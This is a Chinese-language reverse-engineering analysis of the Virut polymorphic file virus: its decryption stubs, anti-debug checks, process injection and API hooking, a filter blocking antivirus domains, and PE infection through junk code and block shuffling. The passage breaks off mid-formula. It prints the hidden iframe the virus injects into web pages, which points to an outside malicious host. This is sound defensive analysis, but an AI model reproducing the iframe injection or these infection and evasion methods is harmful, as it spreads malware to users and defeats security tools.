Virut分析
0x00、綜合描述
virut樣本的執行過程大體可以分為六步:第一步,解密數據代碼,並調用解密后的代碼;第二步,通過互斥體判斷系統環境,解密病毒代碼並執行;第三步,創建內存映射文件,執行內存映射文件代碼;第四步,遍歷進程列表除前4個進程外其他進程全注入代碼,掛鈎七個函數;第五步,向注入進程創建遠程線程(遠程線程創建成功不再二次創建),感染hosts文件,感染移動磁盤,修改注冊表添加防火牆信任列表,聯網受控;第六步,恢復病毒修改的原函數調用,執行原程序功能。完整功能模塊圖如下:
0x10、解密代碼執行
被感染文件被調用后從原始入口開始執行,當病毒代碼被調用后,將會對后續代碼進行處理。代碼處理方式為解密數據,而后跳轉到解密后的數據開始執行。該部分功能流程圖如下:
0x11、調用病毒代碼
被感染文件調用病毒代碼有兩種感染方式,分別是直接修改入口點地址和修改入口點向下第一個kernel函數調用指向病毒代碼。采用那種方式依賴於是否能在入口地址后找到kernel內部的函數調用。可出現的入口感染情況可參見下表:
是否修改api |
api調用方式 |
修改后api調用 |
修復方式 |
修改api |
E8 xxxxxxxx FF25 xxxxxxxx |
E8 ???????? FF25 xxxxxxxx |
執行完病毒代碼重新寫回api調用代碼 |
FF15 xxxxxxxx |
E8 ???????? xx |
||
不修改api |
|
修改入口點地址 |
跳回原始入口點執行 |
0x12、代碼處理
病毒代碼處理也存在兩種方式,一種是對后續代碼進行解密,另一種是后續代碼是明文未加密直接調用明文。采用那種方式依賴於入口點所在節文件大小和內存大小的查值是否大於0x60。當節縫隙較小時,病毒認為無足夠空間存放解密代碼,不對功能代碼加密。
病毒解密代碼由五個指令塊構成,每個塊都會隨機變形。五個指令塊通過jmp連接,其中有一個指令塊全部都是花指令代碼,其他四個指令塊各包含一條有效指令,其他指令為花指令。四條有效指令的功能為:設置解密長度、解密、縮短解密長度、循環至解密完成。四條有效指令列表可能如下:
BA 66 4E 00 00 mov edx, 4E66h _lable: 66 81 AA FE 8F 44 00 BE A8 sub ds:word_448FFE[edx], 0A8BEh 83 EA 02 sub edx, 2 0F 8F 6A 02 00 00 jg _lable |
有效指令的可能變形情況包括:寄存器隨機變化,隨機范圍包括:eax、ecx和edx,解密指令算法是加法或減法,密鑰隨機產生。指令塊的可能變形情況包括:花指令和有效指令的排列順序隨機,每個塊中花指令的條數隨機,每個指令塊的指令長度不超過0x30。這部分指令生成的詳細介紹參見step_4注入代碼掛鈎函數中感染文件的相關分析。
0x20、環境判斷、解密執行
該部分包括:獲取kernel基址,遍歷導出表,獲取函數地址。判斷系統是否被感染,以及是否處於調試分析狀態,否則直接恢復修改的代碼執行文件原始功能。如果系統未感染且未處於調試分析狀態,則修改函數返回地址調用解密函數對代碼解密,並調用解密代碼。該部分功能流程圖如下:
0x21、獲取函數地址
獲取kernel基址是通過對kernel內部函數調用的地址向前回溯找到kernel基址。由於病毒代碼調用方式的不同使用的kernel內部函數地址也不同。如果直接修改入口地址調用的病毒代碼,使用的kernel函數是程序執行時棧頂保存的ExitThread函數地址;如果是通過修改kernel內部api地址調用的病毒代碼,使用的是被修改的kernel內部api的地址。獲取地址方式完全相同,只是壓入參數代碼略有差異。樣本在感染時通過判斷是否找到kernel函數調用來選擇使用那種代碼。
遍歷函數名表獲取要使用的函數地址並不是通過函數明文字符串到導出表中查詢,而是通過對遍歷到的每一個函數名計算校驗和,然后和輸入值匹配。計算校驗和方式是從前向后逐個取函數名的字符ascii碼為x,check_sum的初始值為0,當函數名字符串全部參與計算后,check_sum的值為校驗和。相關偽c代碼如下:
check_sum = 0; //校驗和初始值。 do { check_sum = 0xF * check_sum - *(_BYTE *)v8++; //v8是函數名字符串首地址 } while ( *(_BYTE *)v8 > 1u );//匹配函數名字符串結束 |
0x22、環境判斷
調用CreateMutexA判斷病毒是否已經在當前環境中運行。判斷方式是通過CreateMutexA函數,創建互斥體。根據函數執行結果判斷系統是否已經被感染。如果已經被感染則直接恢復原始文件調用。創建互斥體函數執行結果的獲取有兩種方式:
方式一:通過kernel32導出函數表地址猜測windows版本,如果是指定版本調用RtlGetLastWin32Error函數獲取LastErrorValue。
方式二:通過fs寄存器獲取teb結果,然后獲取LastErrorValue。
如果LastErrorValue大於0,說明創建互斥體錯誤,則認為當前系統已經被感染。此時恢復修改的病毒代碼,然后返回到正常文件代碼處執行。不會向后繼續執行代碼。如果LastErrorValue等於0,則認為當前系統未被感染。
對於未被感染的計算機,通過檢測是否處於調試分析狀態,判斷是否滿足感染條件,如果計算機未處於調試分析狀態,將不會向后繼續執行病毒代碼,而是恢復修改的病毒代碼並返回到正常文件代碼處執行。檢測系統是否處於調試分析狀態的方式有兩種。
方式一:通過GetTickCount計算循環指令的消耗時間,判斷是否處於調試分析狀態,如果處於調試分析狀態,不執行功能代碼。
方式二:通過計算兩次rdtsc指令返回值的差獲得得兩次指令執行中間過程的消耗時間,用來判斷系統是否處於調試分析狀態。
0x23、解密代碼
代碼解密算法是add。但密鑰每個字節都不相同。解密時將按照解密長度,從數據起始向后依次解密,直到解密完成。解密使用的初始密鑰,由感染時隨機生成,並加密后保存。具體算法偽c代碼如下:
do { *(_BYTE *) decode_data++ += key; //解密 key = 0x17 * (key ^ 3); //key和立即數3之間的運算式異或運算(xor) v3 = (unsigned int)decode_len-- >= 1; //計算未解密數據的長度 } while ( v3 ); |
0x30、創建內存映像文件
病毒體的主要功能代碼被解密后並不會直接調用,而是將代碼寫入到內存中或創建內存映像文件調用執行。兩種方式執行的代碼相同,由於申請內存的方式相對簡單,這里只介紹創建內存映像文件方式的寫入部分。向內存拷貝數據也涉及到了去花重定位等問題。具體流程參見下圖:
寫入內存之前會通過GetVersion函數,判斷當前系統版本,如果是win32s系統,直接申請內存將代碼寫入內存執行;如果系統是winnt,創建內存映像文件調用。但兩種方式寫入到內存或映像文件中的病毒代碼完全相同。
拷貝病毒代碼到內存映像文件或內存時,分兩塊進行拷貝。第一部分代碼拷貝的內容是step_2解密出來的代碼,后面我們稱之為解密指令塊;第二部分拷貝的是step_1解密出來的代碼,后面我們稱之為加花指令塊。加密指令塊代碼使用movsd指令直接拷貝;加花指令塊代碼由於被加花、亂序,拷貝時要還原為加花亂序前的代碼再進行拷貝,所以在拷貝時要對代碼進行去花和重定位操作。加密指令塊拷貝十分簡單不做詳細說明。加花指令塊拷貝較為復雜需要用到三個數據表,分別是指令標志表,指令塊結構表和重定位結構表。
0x31、數據去花和指令標志表
指令標志表是一段二進制數據,由感染時對該代碼加花時設置。每個順序二進制位表示源數據中的一個順序byte是否有效,該表用於去除資源代碼中的花指令,還原初始有效指令。二進制位中1表示是垃圾數據;為0表示是有效數據。
0x32、數據排序和指令塊結構表
指令塊結構表是一個結構體,其所有結構和成員賦值都是在感染的時進行,其中block_struct結構中的前兩個成員變量block_lenth和block_offset會在感染樣本的時候對加花指令塊進行加花、亂序的時候使用,還原的時候並未使用。結構體類型如下:
struct block_info { size uint8_t ; 塊結構體數組的長度 block block_struct[size] ; 塊結構體數組 } struct block_struct { block_lenth uint16_t ; 塊長度 block_offset uint16_t ; 塊起始地址偏移 block_off_new uint16_t ; 加花后塊起始地址偏移 block_len_new uint16_t ; 加花后塊長度 } |
在拷貝加花指令塊數據時,獲取指令塊結構表中的塊結構體block_struct[n],通過block_struct[n]. block_off_new確定代碼相對起始地址的偏移,比對指令標志表中位數是block_struct[n]. block_off_new的值,確定該偏移下的數據是否為有效數據,有效數據拷貝到目標地址,無效數據將丟棄。通過block_struct[n].block_len_new確定數據塊的長度,處理完該數據塊后,處理下一個塊結構,直到塊結構處理完畢。
0x33、特殊數據處理
拷貝過程中,有一個特殊指令會需要特殊處理。當拷貝數據到特定位置時,會根據病毒感染文件入口的感染方式拷貝不同的代碼。此處指的特定位置是病毒獲取kernel基址得相關代碼,會根據病毒感染文件入口的方式不同而有一條指令的差異,在環境判斷、解密執行部分中獲取kernel基址的描述中對此已經做過說明。當感染入口采用的是修改系統kernel內部api的方式,指令長度是6,如下:
FF35 C4F04000 push dword ptr [<&KERNEL32.GetVersion>] //壓入patch的kernel內部函數地址 |
拷貝到該位置時,會根據感染時設置的標志,識別到該指令對應修改系統api方式,拷貝時將忽略資源處的代碼,直接拷貝4字節指令。並且在感染時,指令標志表也只對該指令設置了4個有效指令位,后2個位設置的是垃圾指令標志。而采用修改入口點的方式指令長度是4,指令如下:
FF7424 44 push dword ptr [esp+44] //壓入程序執行時棧頂保存的ExitThread函數地址 |
拷貝時,會根據感染時設置的標志,根據感染時設置的標志,識別到該指令對應直接修改入口點地址方式,拷貝時將正常拷貝,不做特殊處理。在感染時,對應直接修改入口點地址方式的,該指令正常設置了4個有效指令位。
0x34、重定位和重定位結構表
加花指令塊拷貝完后需要進行重定位,此時將用到重定位結構表。重定位結構表是一個reloc_strut結構數組,是病毒作者在編譯好加花指令塊時,寫入的固定數據。其結構如下:
struct reloc_strut { reloc_offset uint16_t ; 加花亂序前需要重定位的數據的偏移 nextins_offset uint16_t ; 重定位指令的下一條指令的偏移 std_offset uint16_t ; 跳轉到的目標指令偏移 } |
在重定位時,直接將將std_offset - nextins_offset的值擴展成uint32_t寫入到偏移地址為reloc_offset的地址下,即可完成重定位。重定位表不只在恢復加花指令塊為原始指令塊時用到,在感染時對加花指令塊亂序后重定位時也會用到。
0x40、注入代碼、掛鈎函數
內存映像文件被調用執行后,將遍歷當前系統進程列表,除前4個進程外,其他進程全部通過內存映像文件方式注入代碼,掛鈎七個系統底層函數,並為每個掛鈎成功的進程(除csrs起始的進程)創建遠程線程(遠程線程代碼分析將在下一步介紹)。具體流程參見下圖:
內存映像文件被調用獲得進程列表后,會嘗試注入進程列表除前4個和進程名起始是csrs外的所有進程,注入代碼時將直接映射當前內存映像文件的內容。如果進程句柄打開失敗,結束該進程注入,嘗試注入下一個進程。對於打開成功的進程注入代碼后,還會掛鈎其七個api函數,其中有一個函數名未知。掛鈎的已知Api函數名如下:
ZwDeviceIoControlFile、ZwCreateProcess、ZwCreateProcessEx、ZwQueryInformationProcess 、ZwCreateFile、ZwOpenFile |
掛鈎的方式為修改要掛鈎函數的入口代碼的前五個字節,修改為CALL指令,指向內存映像文件內的地址。分析函數被掛鈎后的調用代碼,可以發現掛鈎的函數按照代碼功能可以分為四種。
0x41、過濾數據包
該功能通過掛鈎ZwDeviceIoControlFile函數實現。掛鈎函數后,將丟棄包含特定字符串的udp數據包,其他非udp協議數據將正常發送。數據包識別通過函數的IoControlCode參數和InputBuffer參數。過濾的字符串列表如下:
$eset、#avg、microsoft、windowsupdate、wilderssecurity、threatexpert、castlecops、spamhaus、cpsecure、arcabit、emsisoft、sunbelt、securecomputing、rising、prevx、pctools、norman、k7computing、ikarus、hauri、hacksoft、gdata、fortinet、ewido、clamav、comodo、quickheal、avira、avast、esafe、ahnlab、centralcommand、drweb、grisoft、nod32、f-prot、jotti、kaspersky、f-secure、computerassociates、networkassociates、etrust、panda、sophos、trendmicro、mcafee、norton、symantec、defender、rootkit、malware、spyware、virus |
0x42、感染新進程
掛鈎進程創建相關函數,在其進程中創建內存映像文件。分析過程中發現三個掛鈎函數都調用了相同的代碼。其中包括一個未知函數和兩個已知的掛鈎函數,已知的函數名為:ZwCreateProcess、ZwCreateProcessEx。在新進程中創建內存映像文件和之前遍歷進程列表創建內存映像文件的代碼相同。
0x43、反調試
惡意代碼會掛鈎ZwQueryInformationProcess函數,修改獲取的自身進程調試狀態映像路徑。需要說明的是,該功能代碼被設置了開關,分析的樣本該功能並未啟用。路徑的修改方式為:將路徑首字符與0x30進行or運算后返回。
0x44、感染文件
掛鈎ZwCreateFile和ZwOpenFile函數,獲取要打開的映像文件路徑。對指定格式文件進行感染。兩個掛鈎函數都調用了相同的代碼。
文件感染時,會對文件格式進行區分,針對不同的文件格式采用不同的感染方式。具體格式和部分文件感染條件如下圖:
感染的文件格式有兩類,通過文件擴展名前三位進行識別。識別分類為:EXE和SCR文件識別為可執行文件,HTM、PHP、ASP文件識別為腳本文件,其他擴展名文件不進行感染。對腳本文件,如果文件內部包含字符"L.C&#"則不進行感染,如果文件內部不包含"</body"[忽略大小寫]字符串,則不進行感染。對可執行文件,如果文件名起始字符為四個字符串中的任意一個:WINC、WCUN、WC32、PSTO,將不進行感染。
可執行文件的感染較為復雜,后面單獨分析。腳本文件感染的方式較為簡單:向文件內容從前到后搜索到的第一個"</body"[忽略大小寫]字符串前插入字符串。字符串內容為:
<iframe src="http://jL.chura.pl/rc/" style="width:1px;height:1px"></iframe>.. |
0x50、可執行感染
可執行文件感染會對pe格式進行解析,對文件進行過濾,只感染符合條件的文件;然后對文件根據各種標記進行感染,感染后恢復原函數調用執行原函數功能。主要過程參見流程圖:
0x51、文件過濾
主要在兩個方面進行過濾,包括文件格式合法性驗證,和文件感染條件判斷。具體內容可參見圖解:
文件合法性驗證是通過對mz頭和pe頭進行校驗;感染條件主要有4個方面:通過文件頭characteristic字段判斷文件不是dll文件;通過對文件dos頭保留字段[偏移0x28]判斷文件沒有感染標記;通過對可選頭subsystem字段判斷文件運行子系統是WINDOWS_GUI;通過節表信息判斷最后一個內存大小非0的數據節節名稱起始四個字符不是“_win”;通過判斷文件附加數據大小小於文件對齊值大小確定文件沒有附加數據。
0x52、感染文件
感染文件主要分為三部分,包括尾節注入代碼、入口節注入代碼和其他信息設置。感染過程中還存在一個感染標記,用以標記感染的方式。
1、感染標記
但在對文件感染的過程中,很多感染行為通過感染操作標記設定,具體設定方式是通過感染操作標記的每個位置0或置1進行實現的。相關感染操作方式和各個位的關系如下表:
位數[由低到高] |
數值 |
含義 |
0 |
1 |
嘗試采用修改kernel內部函數調用的方式調用病毒代碼 |
1 |
1 |
嘗試在入口點所在節節尾注入加密代碼 |
2 |
1 |
入口節加密數據采用的加密算法使用sub,否則使用add |
3 |
1 |
嘗試感染腳本文件 |
4 |
1 |
嘗試感染可移動磁盤 |
5 |
1 |
嘗試掛鈎ZwDeviceIoControlFile函數 |
6 |
1 |
尾節寫入的病毒代碼對其進行加花,否則不加花 |
7 |
1 |
嘗試恢復ssdt表 |
2、尾節注入代碼
尾節代碼注入又分為兩部分,一部分是加花部分,一部分是加密部分。若尾節是資源節,還會將修改數據目錄表中資源表中資源的大小。尾節注入代碼圖示如下:
- 加花部分
加花部分是對加花部分代碼先進行分塊,其中加花部分代碼即前文通過對加花指令塊還原后得到的數據部分;獲取入口節的kernel函數調用;對分塊后的代碼進行加花;對加花后的代碼塊進行亂序,不同代碼塊之間用jmp連接起來;對亂序后的代碼依據重定位表進行重定位。
病毒代碼的變形強度全部是通過加花部分進行完成,代碼功能較為復雜,分塊過程中還會有一個指令的長度反匯編引擎計算指令的長度。相關圖示如下:
代碼分塊
分塊過程中塊數量和每個塊的指令個數都是隨機的,每個塊的塊指令個數是隨機的,如3-5條指令;同時塊數量也會有一個數值范圍,原則上數值不能超過其分塊表的個數,如0xC7;這個過程中所有隨機數據的產生都是通過同一個隨機函數rand()產生,隨機函數rand()匯編代碼如下:
imul edx, ss:rand_num[ebp], 8088405h inc edx mov ss:rand_num[ebp], edx mul edx retn |
函數輸入為eax,輸出為edx。輸出的隨機數將滿足大於0,且小於輸入eax的整數。在樣本進行分塊、加花、亂序時都有大頻率的調用。 例如每個塊隨機3-5條指令,可以通過,3 + rand(3)得到隨機的指令個數。樣本在此處算法中位了預防隨機的各個塊指令個數過少,導致隨機指令塊個數過大,會對已經隨機出來的指令塊個數進行判斷,如果已經超過閾值,則增加每個塊的隨機指令條目的個數,直到得到隨機的塊總數目不超過閾值。但在分析樣本中,由於分塊前所有數據的指令條目個數不多,即使全部隨機到最小的指令塊個數也不會出現指令塊數目超過閾值的情況,所以該功能在在分塊的時候並未使用到。
隨機指令塊的過程中,會通過一個長度反匯編引擎,計算匯編指令的長度,已確保分塊的時候沒有拆分完整的指令,但由於並非所有數據都是指令,所以部分數據會根據偏移不通過反匯編引擎計算直接確定數據長度並返回,並將其認為是一條指令,防止數據被拆分。
該部分數據被分塊后,會生成一個指令塊結構表。該結構表在被感染樣本被執行后,創建內存映像文件恢復加花部分為原始數據和對數據進行重定位時將會被用到。具體數據結構在創建內存映像部分也已經介紹。本部分將說明分塊時會向其寫入的部分。結構體類型如下:
struct block_info { size uint8_t ; 塊結構體數組的長度 block block_struct[size] ; 塊結構體數組 } struct block_struct { block_lenth uint16_t ; 塊長度 block_offset uint16_t ; 塊起始地址偏移 block_off_new uint16_t ; 加花后塊起始地址偏移 block_len_new uint16_t ; 加花后塊長度 } |
上述結構中,所有標紅的部分在分塊的過程中都會被填寫。兩處未着色的域block_off_new和block_len_new會在加花時進行填寫。需要說明的是,如果分塊是,某一塊的最后一條指令是無條件轉移指令,則會設置block_len_new的最高位為1,該位被設置后,在代碼亂序時,將不會對該塊代碼尾部添加用以拼接的jmp指令。
獲取kernel函數調用
根據感染操作標記設置,判斷是否要對kernel函數進行修改,如果相關標志位被設置,將會從樣本入口地址開始向后到節尾遍歷代碼,查找對導入表的函數調用,並判斷是否是對kernel函數的調用。kernel內部函數的判斷首選對導入表中的導入動態庫文件名進行匹配,匹配名字為KERNEL32.DLL的字符串,由於導入表是按函數地址從小到大的順序依次遞增,通過獲取其首地址和尾地址,確定函數地址的范圍,然后將所有入口點后搜索到的導入表調用地址進行范圍匹配,匹配到kernel函數導入的地址范圍的函數則認為是kernel函數調用。
代碼加花
代碼加花是在代碼分塊的基礎上進行無實際功能效用代碼的插入,使正常的功能指令淹沒在無效的指令之中。加花的方式是提取一個分塊表里的塊,然后通過隨機數判斷是寫入有效指令還是垃圾指令,如果寫入有效指令,則通過指令長度反匯編引擎計算當前指令長度,然后將計算出的長度數據寫入,若寫入指令是當前塊的最后一條指令,本塊加花完成,處理下一個指令塊。如果是寫入花指令,則通過花指令生成函數生成一條隨機花指令寫入。
每一個指令塊加花完成后會對指令塊結構表的結構進行填充,填寫塊結構中的塊加花后的起始地址和塊長度。填寫的數據會在進行指令重定位和病毒代碼被運行時恢復原始代碼時使用。經過分塊和加花兩部分的處理,指令塊結構表將被完整地寫入。
在寫入花指令時調用的花指令生成函數,函數有兩個顯性參數和一個隱含參數。隱含參數是一個花指令長度,該長度將限定生成花指令的長度不會超過該值。顯性標志包括花指令存放地址和一個花指令標志表。花指令標志表結構如下:
struct flower_insert_list { flower_insert block_struct[size] ; 塊結構體數組 } struc flower_insert_struct { distance uint16_t ; 塊起始相對偏移 f_ins_flag uint16_t ; 花指令標志 } |
花指令標志表是一個花指令注入結構數組,該數組是和加花部分代碼進行對應的,由編寫感染代碼時生成。如果加花部分代碼不變,花指令標志表也不會變化。需要說明的是,指令塊結構表的分塊size是一個隨機數值,和花指令標志表中的size並沒有關系。花指令注入結構共有2個成員,第一個成員distance是分塊前原指令塊相對起始的偏移;第二個成員f_ins_flag是加花代碼的參數,該成員是uint16_t類型,共有8個二進制位,每個二進制位表示一個寄存器是否可用,0表示可用,1表示不可用。花指令標志表的功能是如果插入花指令的插入點(花指令后第一條有效指令分塊前相對原指令數據起始的偏移)在數組前一個花指令注入結構的偏移到當前結構花指令注入結構的偏移之間則使用當前結構的花指令標志進行插入花指令,如果當前結構是數組的第一個結構,則前一個花指令諸如結構的偏移默認為0。花指令標志各個位和寄存器的對應關系如下:
位數[由低到高] |
數值 |
含義 |
0 |
0 |
eax寄存器可以被花指令使用 |
1 |
0 |
ecx寄存器可以被花指令使用 |
2 |
0 |
edx寄存器可以被花指令使用 |
3 |
0 |
ebx寄存器可以被花指令使用 |
4 |
0 |
esi寄存器可以被花指令使用 |
5 |
0 |
edi寄存器可以被花指令使用 |
6 |
0 |
ebp寄存器可以被花指令使用 |
7 |
0 |
標志寄存器可以被花指令使用 |
從列表中可以看出,不會生成和esp相關的花指令。插入花指令時是依照同一條指令使用不同寄存器時,其opcode具有連續性。相同操作不同寄存器的指令和opcode對照示例如下:
40 inc eax 41 inc ecx 42 inc edx 43 inc ebx |
FEC0 inc al FEC1 inc cl FEC2 inc dl FEC3 inc bl |
83E8 02 sub eax, 2 83E9 02 sub ecx, 2 83EA 02 sub edx, 2 83EB 02 sub ebx, 2 |
由此根據隨機函數生成一個0-7的隨機數,在對eax寄存器操作的opcode基礎上進行修正即可產生一個隨機寄存器的花指令。在生成花指令時除對32位寄存生成外,還會生成8位或16位寄存器。具體生成指令除選用的寄存器受花指令標志表控制外,生成的指令類型、寄存器類型以及寄存器在花指令標志表范圍內的隨即選擇全部都是通過隨機函數生成的隨機數控制。
加花進行有效指令寫入時,由於部分數據並不是指令,不能通過反匯編引擎計算長度,會在特定偏移下直接讀取特定長度數據進行寫入。
分塊前原指令塊起始處有獲取kernel基址的相關代碼,用以遍歷kernel導出表,得到要用的函數地址。由於感染時,病毒代碼獲得調用的方式不同,該處代碼也會不同。當病毒代碼是通過直接修改入口點的方式進行調用時,可直接拷貝其位置代碼,然后通過程序入口處棧頂是ExitThread函數地址,將其地址壓入堆棧作為參數進行計算得到kernel基址;但如果是通過修改kernel內部api進行調用的方式,將會將獲取kernel基址的代碼進行調整,直接將調用目標的函數地址作為硬編碼直接壓入堆棧,而后進行計算得到kernel地址。
加花指令的過程中還會生成指令標志表,該表將會在還原加花亂序后的指令為原始指令去除花指令時使用。每個二進制位表示源數據中的一個byte是否有效。二進制位中1表示是垃圾數據;為0表示是有效數據。該結構的長度和花指令插入個數相關,並不是固定長度。該表是在生成花指令時,寫入一個字節的花指令,將表中的一個位設置為1,寫入一個字節有效數據,設置一個位為0的方式設定。
對於通過修改api調用方式執行病毒代碼的,在加花時還會向代碼中添加兩條mov指令,用以恢復被修改的api調用,以期被感染文件原始功能的正常執行。不同入口感染情況的恢復代碼情況如下:
C7 05 8D 83 40 00 E8 04 8D FF mov dword ptr ds:loc_40838D, 0FF8D04E8h C6 05 91 83 40 00 FF mov byte ptr ds:loc_40838D+4, 0FFh //如果不是通過修改api調用方式調用病毒代碼的不會出現這兩條指令 //紅色部分數據為修改前的指令二進制編碼 61 popa //恢復調用前通用寄存器 83EC DC sub esp, -24 FF 64 24 DC jmp dword ptr [esp-24h] //調用原始程序功能代碼。 |
代碼亂序
代碼亂序是在對指令塊進行加花時,通過隨機函數從指令塊結構表中隨機取一個未取出的塊,進行加花,將加花后的所有指令(包括有效指令和花指令)逐條寫入到被感染文件的尾節增加的空間中,在取隨機塊進行加花的過程中,通過隨機函數生成一個不大於未處理指令塊的整數n,然后取出指令塊結構表的第n個未處理塊來進行加花、寫入。直至最后寫完所有塊。
在寫入各個加花后的塊到尾節增加空間時,會根據指令塊結構表中塊結構中的block_len_new字段的最高位進行識別,判斷當前塊的最后一條指令是否為無條件轉移指令,如果不是,將會在塊尾添加一條轉移指令用以連接亂序后的各個塊,使代碼還是按照亂序前的代碼順序進行執行。當需要在塊尾添加無條件轉移指令作為連接指令時,首先在該塊尾寫入一個短跳轉指令[0xEB xxxxxxxx],雖然短跳轉指令只接受一個字節的轉移偏移,但為防止指令偏移較大,該處在指令控制碼[0xEB]后面寫入了4個字節占位。重定位部分有詳細說明。
代碼重定位
代碼亂序后,由於各指令之間的相對偏移會發生變化所以代碼中的重定位數據和轉移指令都需要進行重定位,同時每個數據塊尾部添加的轉移指令在寫入時並沒有寫入偏移也需要進行定位。
原代碼中需要重定位的數據是通過對指令塊結構表的數據進行計算后得出的。需要重定位的所有指令地址重定位結構表也進行了定義。重定位結構表是一個重定位結構數組,該數組是和加花部分代碼進行分塊前的狀態進行對應的,由編寫感染代碼時生成。如果加花部分代碼不變,重定位結構表也不會變化。需要說明的是,指令塊結構表的分塊size是一個隨機數值,和重定位結構表中的size並沒有關系。重定位結構共有3個成員,第一個成員reloc_offset是分塊前原指令相對起始的偏移;第二個成員nextins_offset是重定位指令的下一條指令在分塊前相對起始的偏移;第三個成員是std_offset是重定位指令分塊前跳轉到的目標指令偏移。重定位結構表結構如下:
struct reloc_list { reloc reloc_strut[size] ; 塊結構體數組 } struc reloc_strut { reloc_offset uint16_t ; 加花亂序前需要重定位的數據的偏移 nextins_offset uint16_t ; 重定位指令的下一條指令的偏移 std_offset uint16_t ; 跳轉到的目標指令偏移 } |
在進行重定位時,首先根據重定位表,和指令分塊結構表中的block_lenth和block_offset確定跳轉到的目標指令所在指令塊和目標指令在目標指令塊的偏移off_1,而后通過指令標志表計算該偏移下block_off_new后有效數據的位置,該位置即為重定位后的地址。計算示意圖如下:
指令塊尾轉移指令的定位通過指令分塊結構表即可完成偏移計算。主要是計算下一個塊的起始相對偏移。需要說明的是在寫入偏移時由於加花和亂序,可能使得部分跳轉指令的偏移較大,無法通過短跳轉實現,需要使用長跳轉指令,此時會將預先寫入的短跳轉指令控制碼[0xEB]修改為長跳轉指令[0xE9],由於代碼寫入時偏移地址預留了4個bytes不用擔心數據覆蓋的問題。
- 加密部分
加密部分處理的數據即前文在創建內存映射文件時的功能指令塊部分代碼。對這部分數據病毒會做加密處理,加密算法為sub,但密鑰每個字節都不相同。具體算法為前文提到的數據解密算法的逆算法。但在實際過程中該部分代碼是先於解密代碼產生,密鑰也是感染時生成的。這部分數據,在被感染文件運行時會在創建內存映射文件時進行解密。具體加密算法偽c代碼如下:
do { //key初始值感染時隨機生成 *(_BYTE *) decode_data++ -= key; key = 0x17 * (key ^ 3); v3 = (unsigned int)decode_len-- >= 1; } while ( v3 ); |
3、入口節注入代碼
入口節注入代碼的功能是完成對病毒代碼的解密和調用。由於代碼數量較少,和尾節插入代碼相比方式相似,但由於實際功能代碼量比較少有效指令代碼只有四條,更為簡單。入口節插入代碼可分為四個部分:條件判斷、代碼生成、代碼注入和代碼重定位。具體內容可參見圖解:
- 條件判斷
是否向入口節注入代碼會檢測前文提到的感染操作標記。標記被置位后,還會對文件進行檢查判斷入口節是否有足夠的空間可以插入代碼。檢測方式為入口節文件大小和內存大小的差值是否小於0x60。如果小於0x60將不會向入口節插入代碼。
- 代碼生成
由於入口節插入的代碼,有效指令只有四條,和尾節注入代碼相比並沒有進行分塊的過程,而是直接分為五塊。包括四個各包含一條有效指令的塊和一個全為花指令的冗余指令塊。尾節代碼在代碼加花時同時將加花后的代碼寫入到尾節增加的空間中,而入口節代碼生成時同時生成花指令和有效指令,並將生成的代碼塊寫入到一塊固定的內存中,全部生成完畢后再拷貝到入口節的節尾空隙處。入口節插入代碼生成的每個指令塊的長度不超過0x30h,代碼塊共有5個,所以固定內存的長度為0xf0h。在固定內存中每個指令塊占0x30h個長度,故五個指令塊存放的相對固定內存塊起始的偏移分別為:0x00h、0x30h、0x60h、0x90h、0xB0h。生成的代碼塊共五個,由於有效指令只有四條,代碼設定第三個指令塊不包含有效指令,內部全是花指令。
四條有效指令的功能是完成對尾節注入代碼的解密,各條指令使用的寄存器會在生成指令時通過隨機函數隨機獲取,隨機寄存器的方式和尾節注入代碼中花指令隨機寄存器的方式相同,依據是同一條指令使用不同寄存器時,其opcode具有連續性,具體說明可參見尾節注入代碼中花指令隨機寄存器的說明。但在生成代碼時設定隨機寄存器只使用前三個:eax、edx和ecx,並未使用其他寄存器。四條有效指令列表可能如下:
BA 66 4E 00 00 mov edx, 4E66h //設置解密長度 _lable: 66 81 AA FE 8F 44 00 BE A8 sub ds:word_448FFE[edx], 0A8BEh //解密代碼 83 EA 02 sub edx, 2 //縮短解密長度 0F 8F 6A 02 00 00 jg _lable //循環解密直道解密完成。 |
生成指令塊時,通過隨機函數確定當前寫入到固定內存的指令為花指令或有效指令。在向固定內存寫入花指令時會通過向生成花指令函數傳遞屏蔽有效指令使用相關寄存器的參數,確保有效指令的正常運行,屏蔽的方式是將默認的花指令標志0x87中的相關指令通過btr指令置0。當寫入花指令的長度超過0x26后,將不再寫入花指令,轉而通過隨機函數確定當前寫入到固定內存的指令為花指令或有效指令;當第二次欲寫入有效指令時將完成該指令塊的生成。繼續生成下一個指令塊,直到五個指令塊生成完畢。代碼塊生成過程中會同時創建一個包含5個代碼塊長度的數組block_size[5],數組成員的長度是uint8_t。每個成員依次表示五個數據塊的指令長度。同時會記錄循環解密指令的存放位置loop_ins_off,用以進行后續對循環指令的轉移地址進行重定位。
- 代碼注入
代碼注入部分是通過隨機函數從固定內存塊中隨機提取一個塊寫入到入口節節尾空隙處,寫入長度依據代碼塊長度數組block_size[5]。每寫完一個數據塊會繼續寫入一條跳轉指令:0xE9 xxxxxxxx。由於又寫入了一條跳轉指令,且重定位前跳轉指令的有效數據長度為1,所以block_size會修正加1。跳轉指令之后還會寫入一定長度的隨機數據,隨機數據的長度是通過隨機函數得到。隨機函數的輸入參數是入口節節尾空隙長度除的四分之一。輸入參數的詳細計算公式如下:
rand_param =(epSection_SizeOfRawData - epSection_VirtualSize – 0x32h – flower_ins_len)/4。 |
前文分析隨機函數時提到過隨機函數的輸出由輸入所決定,輸出結果的輸入范圍是0到rand_param。由於會寫入五塊隨機數據,隨機數據的長度是空隙長度的四分之一。這可能造成五次隨機函數輸出的結果之和大於空隙長度,導致寫入的數據超出入口節的范圍,覆蓋下一個數據節的內容。造成被感染文件原始功能損壞。在寫入隨機數據時,通過對隨機函數的調用,增加了0x00數據寫入的概率。隨機函數輸入是13ch,當輸出大於3c時,設定隨機數據為13ch減去輸出數據,如果小於等於3c時設定隨機數據為0,用以增加文件的信息熵值。
代碼塊注入過程中會同時創建一個包含5個代碼塊起始地址偏移的數組block_off[5],數組成員的長度是uint32_t。每個成員依次表示五個數據塊注入后相對注入起始處的文件偏移。
- 代碼重定位
代碼重定位主要有三種情況,注入指令塊之間的連接指令、最后一個指令塊的連接指令和有效指令中的循環指令。三種情況的區別是由轉移后的目標地址存在差異所導致,但差異不大。具體差異參見各自的公式。
注入指令塊的連接指令重定位是通過對生成指令塊和注入指令塊時生成的數組block_size[5]和block_off[5]進行計算得到,由於跳轉指令的目標地址都是下一個指令塊的起始地址,計算方式較為簡單,公式如下:
